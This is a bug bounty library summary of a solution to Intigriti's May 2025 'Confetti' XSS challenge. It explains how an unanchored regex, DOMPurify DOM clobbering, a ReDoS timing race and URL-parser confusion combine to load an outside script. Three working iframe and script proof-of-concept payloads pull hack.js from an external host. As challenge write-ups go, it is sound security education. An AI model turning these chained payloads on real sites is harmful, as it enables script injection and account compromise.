# Confetti: Solution to my Intigriti May 2025 XSS Challenge

Intigriti XSS challenge: unanchored regex plus DOMPurify DOM clobbering of CONFIG_SRC, raced past requestIdleCallback via ReDoS, then URL parser confusion loads attacker script.

- Payout: Research
- Severity: medium
- Program: Intigriti Confetti challenge
- Write-up by: Johan Carlsson
- Disclosed: 2025-05-20
- Write-up quality: 8/10
- Original: https://joaxcar.com/blog/2025/05/20/confetti-solution-to-my-intigriti-may-xss-challenge/
- Library page: https://bugbountylibrary.com/r/blog%3Ajoaxcar-com-blog-2025-05-20-confetti-solution-to-my-intigriti-may-xss-challenge
- Tags: area:web domain:web impact:integrity kind:research platform:research sev:medium tech:chromium tech:firefox technique:chained technique:race-window vuln:dos vuln:xss

**Target:** Client-side JS page with name parameter, DOMPurify, requestIdleCallback script loader
**Root cause:** The name regex `/([a-zA-Z0-9]+|\s)+$/` lacks a `^` anchor so HTML injection passes, and DOMPurify defaults leave data-* attributes and named-property clobbering enabled, letting an injected element control window.CONFIG_SRC.dataset.url.
**Steps:**
1. Observe regex `/([a-zA-Z0-9]+|\s)+$/` is unanchored; any string ending in alnum/whitespace passes, e.g. `<script>alert(1)</script>x`.
2. Craft clobbering payload `<a id="CONFIG_SRC" data-url="https://example.com"></a>x` which survives DOMPurify (ALLOW_DATA_ATTR and SANITIZE_NAMED_PROPS default off).
3. Defeat the 2s /message delay by keeping the JS thread busy so requestIdleCallback never fires before injection: load multiple same-origin iframes, some running ReDoS `/([a-zA-Z0-9]+|\s)+$/.test("000000000000000000000000000.")`.
4. Bypass safeURL using scheme-relative parsing: `new URL("https:a.a","https://b.b")` -> `https://b.b/a.a` (same-origin check passes) but `new URL("https:a.a")` -> `https://a.a` (script loads from attacker).
5. Final payload: `<iframe src=".../index.html?name=<a id=CONFIG_SRC data-url=https:joaxcar.com/hack.js></a>a">` plus ReDoS iframes.
**How found:** Code review of the challenge script: spotted the unanchored regex, checked DOMPurify docs for default-off ALLOW_DATA_ATTR/SANITIZE_NAMED_PROPS, recognized the requestIdleCallback timing race, and recalled the WHATWG special-scheme-missing-following-solidus parsing quirk from 'The Tangled Web'.
**Exploitation:** Attacker page embeds several same-origin iframes of the challenge: one carrying the DOM-clobbering payload, others burning CPU with exponential-backtracking regex input so the shared renderer process never reaches an idle period. The delayed /message response then injects the clobbering anchor before addDynamicScript runs; safeURL's base-relative parse sees the target origin while the later `new URL(src)` resolves to the attacker host, loading hack.js for XSS.
**Escalation:** Alternative bypasses: Chrome cross-origin parent busy-loop blocking iframe idle tasks; disk-cache replay via iframe navigation + history.back() (stealthcopter) to skip the 2s fetch; background-tab throttling stopping requestIdleCallback after 10s.
**Insight:** When a sanitizer runs before a delayed async sink, look for ways to stall the event loop (ReDoS, busy loops, shared-process iframes) so attacker HTML lands before a config/clobber read; also test `new URL(x, base)` vs `new URL(x)` with scheme-only URLs like `https:host/path` for origin-check bypasses.

## Proof of concept (copied exactly from the original report)

**Final intended-path iframe race PoC**

```
<iframe src="https://challenge-0525.intigriti.io/index.html?name=<a id=CONFIG_SRC data-url=https:joaxcar.com/hack.js></a>a"></iframe>
<iframe src="https://challenge-0525.intigriti.io/index.html?name=aaaaaaaaaaaaaaaaaaaaaaaaaaaa$"></iframe></body>
```

**Disk cache iframe back-navigation PoC**

```
<iframe src="https://challenge-0525.intigriti.io/index.html?name=%3Ca%20id%3D%22CONFIG_SRC%22%20data-url%3D%22https:joaxcar.com/hack.js%22%3E%3C/a%3Ea"></iframe>
<script>
setTimeout(() => {
 x.src = 'https://joaxcar.com/back.html'
}, 3500)
</script>
```

**Background tab throttling PoC**

```
<script>
opener.location = "https://challenge-0525.intigriti.io/index.html?name=a"
setTimeout(()=>{
 opener.location = "https://challenge-0525.intigriti.io/index.html?name=<a id=CONFIG_SRC data-url=https:joaxcar.com/hack.js></a>a";setTimeout(()=>window.close(),3000)
}, 11000)
</script>
```

